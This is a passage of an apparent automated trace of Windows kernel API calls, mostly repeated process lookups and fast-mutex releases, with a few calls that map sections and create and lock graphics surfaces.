ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.318] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.318] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.318] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.318] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.318] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.318] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.319] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.319] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.319] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.319] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.319] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.320] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.320] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.320] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.320] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.320] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.321] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.321] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.321] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.321] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.321] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.322] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.322] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.322] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.322] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.323] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.323] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.324] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.324] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.324] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.324] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.325] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.327] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.327] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.327] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.367] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.368] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.368] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.368] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.369] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.369] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.369] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.370] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.370] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.370] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.383] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.383] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.697] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.697] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0131.697] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.697] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.698] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.698] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.698] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.698] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.698] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.698] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.698] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.698] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.698] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.698] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.699] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.699] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.699] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.759] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.759] EngAllocMem () returned 0xfffff90142521030 [0131.759] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.759] MmMapViewOfSection (in: SectionObject=0xffffc00001ff80c0, Process=0xffffe0000137f900, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000209f2ed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0xbd838f0000, SectionOffset=0xffffd000209f2ed0, ViewSize=0xfffff90142521370) returned 0x0 [0131.759] EngCreateBitmap () returned 0x48050564 [0131.759] EngAssociateSurface () returned 0x1 [0131.759] EngLockSurface () returned 0xfffff901400f55c8 [0131.759] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001609810 [0131.759] KeInitializeEvent (in: Event=0xffffe00001609828, Type=0x1, State=0 | out: Event=0xffffe00001609828) [0131.759] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.781] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.781] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.782] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.782] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.782] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.782] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.783] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.805] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.805] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.806] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.806] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.806] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.806] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.806] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.806] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.862] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.862] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.863] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.863] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.929] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.930] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.930] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.930] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.992] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.993] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.993] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.993] IoGetCurrentProcess () returned 0xffffe0000137f900 [0131.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.993] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.062] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.062] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.062] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.063] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.063] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.063] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.063] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.063] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.063] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.103] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.104] EngAllocMem () returned 0xfffff901424f3360 [0132.104] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.104] MmMapViewOfSection (in: SectionObject=0xffffc00000f87840, Process=0xffffe0000137f900, BaseAddress=0xfffff901424f3688*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000209f2ed0, ViewSize=0xfffff901424f36a0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff901424f3688*=0xbd83940000, SectionOffset=0xffffd000209f2ed0, ViewSize=0xfffff901424f36a0) returned 0x0 [0132.104] EngCreateBitmap () returned 0x140506fd [0132.104] EngAssociateSurface () returned 0x1 [0132.104] EngLockSurface () returned 0xfffff901408d5cb8 [0132.104] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000122d190 [0132.104] KeInitializeEvent (in: Event=0xffffe0000122d1a8, Type=0x1, State=0 | out: Event=0xffffe0000122d1a8) [0132.104] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.106] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.106] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.106] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.107] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.107] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.107] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.107] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.122] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.122] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.182] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.182] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.227] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.245] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.246] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.246] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.246] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.246] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.246] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.289] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.289] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.304] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.305] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.351] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.351] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.368] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.368] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) 